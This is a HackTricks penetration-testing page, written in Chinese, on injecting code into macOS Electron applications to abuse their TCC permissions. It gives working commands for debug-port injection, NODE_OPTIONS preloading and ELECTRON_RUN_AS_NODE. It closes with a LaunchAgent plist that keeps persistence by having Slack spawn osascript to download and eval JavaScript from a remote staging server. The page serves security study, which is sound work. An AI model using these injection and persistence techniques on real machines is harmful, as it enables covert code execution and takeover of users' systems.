hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
2023-08-03 19:12:22 +00:00

6.6 KiB
Raw Blame History

macOS Electron应用程序注入

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

向Electron应用程序添加代码

Electron应用程序的JS代码未经签名因此攻击者可以将应用程序移动到可写位置注入恶意JS代码并启动该应用程序以滥用TCC权限。

然而,修改应用程序需要**kTCCServiceSystemPolicyAppBundles**权限,默认情况下不再允许此操作。

检查Electron应用程序

根据这篇文章,如果你使用**--inspect--inspect-brk--remote-debugging-port等标志来执行Electron应用程序将会打开一个调试端口**你可以连接到它例如从Chrome中的chrome://inspect),然后你就可以在其中注入代码或者启动新的进程。
例如:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} 请注意,现在已经加固的 Electron 应用程序在启动时将忽略节点参数(如 --inspect除非设置了环境变量 ELECTRON_RUN_AS_NODE

但是,您仍然可以使用 electron 参数 --remote-debugging-port=9229,但之前的有效载荷将无法执行其他进程。 {% endhint %}

NODE_OPTIONS

{% hint style="warning" %} 如果 Electron 应用程序已经被适当加固并且允许使用此变量,则此环境变量才能起作用。如果已经加固,您还需要使用环境变量 ELECTRON_RUN_AS_NODE。 {% endhint %}

通过这种组合,您可以将有效载荷存储在不同的文件中并执行该文件:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

ELECTRON_RUN_AS_NODE

根据文档的说明如果设置了这个环境变量它将以普通的Node.js进程启动。

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

正如在这里提出的,您可以滥用这个环境变量在 plist 中保持持久性:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥